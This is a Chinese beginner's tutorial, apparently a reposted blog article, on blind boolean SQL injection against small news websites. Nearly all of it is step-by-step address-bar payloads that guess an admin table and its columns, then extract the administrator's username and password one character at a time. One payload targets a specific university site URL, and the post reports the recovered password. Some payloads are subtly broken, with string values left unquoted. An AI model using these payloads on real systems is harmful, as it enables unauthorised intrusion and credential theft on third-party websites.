菜鸟入门级:SQL注入攻击

文章来源:网页吧


    一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法

  在地址栏:

  and 1=1

  查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表

  在地址栏:

  and 0<>(select count(*) from admin)

  返回页正常,假设成立了。

  下面来猜猜看一下管理员表里面有几个管理员ID:

  and 1<(select count(*) from admin)

  页面什么都没有。管理员的数量等于或者小于1个

  and 1=(select count(*) from admin)

  输入=1没显示错误,说明此站点只有一个管理员。

  下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)>0)

  猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu

用户名称字段猜解完成之后继续猜解密码字段

  and 1=(select count(*) from admin where len(password)>0)

  password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧

  我们已经知道了管理员表里面有3个字段 id,user,password。

  id 编号

  user 用户名

  password 密码

  下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

  先猜出长度!

  and 1=(select count(*) from admin where len(user)<10)

  user 字段长度小于10

  and 1=(select count(*) from admin where len(user)<5)

  user 字段长度不小于5

 慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确

  and 1=(select count(*) from admin where len(user)=6)

  下面猜密码,

 and 1=(select count(*) from admin where len(password)=10)

  猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了

下面该做的就是把他们拆开来一个一个猜字母

  and 1=(select count(*) from admin where left(user,1)=a)


  返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了

  开始猜解帐号的第二位字符。

  and 1=(select count(*) from admin where left(user,2)=ad)


  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  工作还没有完,别忙着跑了,还有10位密码,呵呵

  and 1=(select count(*) from admin where left(password,1)=a)

  经过无数次错误之后......

  http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)


  结果密码是administra


  看完文章,大家不要照着我的文章做,网络上的东西是变幻无穷的,但是我相信大家的大脑肯定比他变得快,所以希望大家看了这个文章灵活运用!那样才能达到理想的效果。
原文地址:https://www.cnblogs.com/lgms2008/p/794795.html